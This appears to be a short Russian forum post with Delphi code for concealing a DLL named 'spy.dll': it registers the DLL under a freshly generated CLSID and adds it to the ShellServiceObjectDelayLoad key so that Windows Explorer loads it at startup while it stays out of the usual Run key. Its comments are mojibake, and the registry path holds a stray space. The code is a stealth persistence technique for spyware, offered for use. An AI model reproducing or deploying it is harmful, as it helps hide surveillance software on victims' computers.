скрытие ... я просто регитрирую dll в автозагрузку сервисов (не в раздел RUN) там где регятся сервисы / ну шота типа этого ....:
Reg:TRegistry;
Temp:TGUID;
S:String;
t:textfile;
begin
CreateGUID(Temp);
s := GUIDToString(Temp);
Reg := TRegistry.Create;
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.openkey ('CLSID\'+s+'\InProcServer32', true) then
// хёыш ёючфрыш шфхэЄшЇшърЄюЁ ъырёёр
begin
reg.writestring('',windir+'spy.dll'); //±єёЄ№ ъ сшсышюЄхъх
reg.closekey;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('Software\Microsoft\Windows\CurrentVer sion\ShellServiceObjectDelayLoad', true);
reg.writestring('SpyDllLoad', s);
reg.closekey;
end;
Reg.Free;
end;
|